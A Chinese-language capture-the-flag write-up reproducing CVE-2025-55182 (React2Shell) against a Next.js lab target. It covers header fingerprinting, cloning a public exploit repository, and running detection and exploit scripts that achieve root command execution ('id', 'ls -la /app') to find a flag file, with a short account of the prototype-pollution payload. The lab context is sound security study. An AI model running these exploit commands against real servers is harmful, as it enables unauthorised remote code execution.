CVE-2025-55182复现(ReactOOPS)
攻击机IP:10.10.16.8
靶机IP:94.237.120.119
该挑战展示了一款运行NexusAI助手界面的精美Next.js应用程序。该应用程序似乎通过 React Server 组件处理用户输入,但响应层中的细微故障提示了底层漏洞。
访问页面:
curl -v http://94.237.120.119:31312从回来的响应头可以发现关于HTTP响应头层面的铁证,从这里可以看到启用了支持 RSC 的 Next.js 应用程序,并提供 HTML,存在CVE-2025-55182漏洞
Vary: rsc, next-router-state-tree, next-router-prefetch, Accept-Encoding然后让我们来看常见的几个指标
1.包含响应头next-前缀包含 HTML<script type="text/x-component"> 存在.next目录工件未进行明显身份验证的POST端点
x-nextjs-cache: HIT
x-nextjs-prerender: 1
x-nextjs-stale-time: 3002.从下面数据可以说明当前稳定版 Next.js(13.4+ / 14)
已弃用该 MIME
改用 __next_f + inline script 注入 Flight 数据
<script>
self.__next_f.push([...])
</script>3.存在 .next 目录工件
/_next/static/chunks/*.js
/_next/static/chunks/*.css
/_next/static/media/*.woff2说明:
/_next/ 是 .next/ 构建产物的 对外映射
实际磁盘结构
.next/
static/
chunks/
media/虽然无法直接看到服务器的 .next/ 目录,但只要 /_next/static/* 可访问,即可确认 .next 构建工件存在
准备环境
git clone https://github.com/freeqaz/react2shell.gitchmod +x react2shell/*.sh首先之前的那些指标都是我们的猜测,我们准备进行漏洞检测
./detect.sh http://94.237.120.119:31312[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://94.237.120.119:31312
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{"a":"$@1","f":"","b":"s8I48LfEDhqpCdFN5-HbU"}
1:E{"digest":"346246470"}
[!] This server is running a vulnerable version of React RSC / Next.js
[!] Upgrade to Next.js 16.0.7+ or React 19.2.1+ immediately
从结果看我们发现了
HTTP 500:检测到崩溃
E{"digest"响应式: React 错误处理格式
结论:服务器为漏洞主机远程代码执行
接下来我们来验证任意命令执行
./exploit-redirect.sh -q http://94.237.120.119:31312 "id"这里我们能看到代码被成功执行了
这个脚本的作用是什么
构造一个包含命令载荷的 multipart 请求体
将命令嵌入到原型污染(prototype pollution)的引用路径中
发送带有 Next-Action: x 请求头的 POST 请求
服务器在处理过程中对数据进行反序列化,并执行嵌入的命令
通过 HTTP 303 重定向 返回命令执行的输出结果输出显示uid=0(root)- 网页服务器运行为 root
信息收集
让我们构建文件系统并查找敏感文件
./exploit-redirect.sh -q http://94.237.120.119:31312 "pwd"./exploit-redirect.sh -q http://94.237.120.119:31312 "ls -la /app"
目标文件存在/app/flag.txt并具有限制性权限(600)
拿到目标文件
